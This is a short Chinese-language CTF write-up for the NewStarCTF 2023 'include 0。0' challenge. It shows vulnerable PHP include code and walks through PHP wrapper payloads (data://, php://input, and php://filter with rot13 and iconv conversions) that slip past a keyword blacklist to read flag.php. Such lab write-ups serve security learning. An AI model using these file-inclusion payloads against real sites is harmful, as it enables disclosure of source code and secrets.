[NewStarCTF 2023]include 0。0--详细解析
信息搜集
进入界面,回显是如下php代码:
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?> nope
告诉我们flag在flag.php中。
且有include()函数,说明是文件包含漏洞,我们要传参file,达到获取flag.php内容的目的。
文件包含
if(isset($file) && !preg_match('/base|rot/i',$file))
要传参file,且file的值中不能有base和rot。
data伪协议可以使用:
data://text/plain,<?php phpinfo();?>
但是使用之后发现没有回显:
data://伪协议的使用前提是allow_url_fopen :on且allow_url_include:on
可能这两个配置被关闭了。
使用php://input伪协议也不行。
那不受这两个配置影响的伪协议还剩php://filter,这个协议的常规用法是:
php://filter/convert.base64-encode/resource=<目标文件名>
但其实还有很多种变种,比如:
php://filter/read=string.rot13/resource=<目标文件名> //rot13编码后读取文件内容
php://filter/convert.iconv.utf-8.utf-7/resource=<目标文件名> //将utf8编码转换utf7编码
php://filter/convert.iconv.utf8.utf16/resource=<目标文件名> //将utf8编码转换utf16编码
我们使用变种里的第二个:
得到flag.
总结
使用php伪协议时要考虑目标服务器是否开启了相关配置。
php://filter有很多变种,目前还不是很熟悉这个伪协议,明天总结一下。